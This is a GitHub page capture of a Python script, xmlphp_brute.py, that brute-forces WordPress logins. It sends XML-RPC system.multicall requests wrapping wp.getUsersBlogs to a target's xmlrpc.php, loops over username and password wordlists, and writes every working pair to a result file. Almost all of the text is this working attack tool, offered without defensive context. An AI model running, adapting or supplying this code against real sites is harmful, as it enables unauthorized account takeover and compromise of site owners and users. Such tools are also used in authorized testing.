-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxmlphp_brute.py
107 lines (95 loc) · 3.85 KB
/
xmlphp_brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import requests
import sys
import time
WAIT_TIME = 0
def usage():
print(f"Usage: {sys.argv[0]} target_url passwords_file usernames_file [result_file]", file=sys.stderr)
def make_body(username, password):
body = \
f"""<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>methodName</name>
<value>
<string>wp.getUsersBlogs</string>
</value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value>
<array>
<data>
<value>
<string>{username}</string>
</value>
<value>
<string>{password}</string>
</value>
</data>
</array>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodCall>
"""
return body
def send_req(url, body):
req = requests.post(url, data=body, headers={"Content-Type":"application/xml"}).text
if "incorrect" in req.casefold():
return False
elif "admin" in req.casefold():
return True
else:
raise ValueError("[-] Invalid Response")
if __name__ == "__main__":
if len(sys.argv) < 3:
usage()
sys.exit(1)
url = sys.argv[1]
pwd_file = sys.argv[2]
user_file = sys.argv[3]
if len(sys.argv) > 4:
res_file = open(sys.argv[4], "w")
with open(user_file, "r", errors = "ignore") as uf:
users = [x.strip() for x in uf.readlines() if x.strip()]
with open(pwd_file, "r", errors = "ignore") as pf:
passwords = [x.strip() for x in pf.readlines() if x.strip()]
for username in users:
for password in passwords:
infostr = f"[@] username: {username} password: {password}"
print(infostr, file=sys.stderr, end="\r")
body = make_body(username, password)
try:
res = send_req(url, body)
except ValueError as e:
print(f"\n{e}", file=sys.stderr)
if res:
if len(sys.argv) > 4:
print(f"{username}:{password}", file=res_file)
print(f"[+]{infostr[3:]} -> SUCCESS!", file=sys.stderr)
else:
print(" "*len(infostr), end="\r")
time.sleep(WAIT_TIME)
if len(sys.argv) > 4:
res_file.close()
sys.exit(0)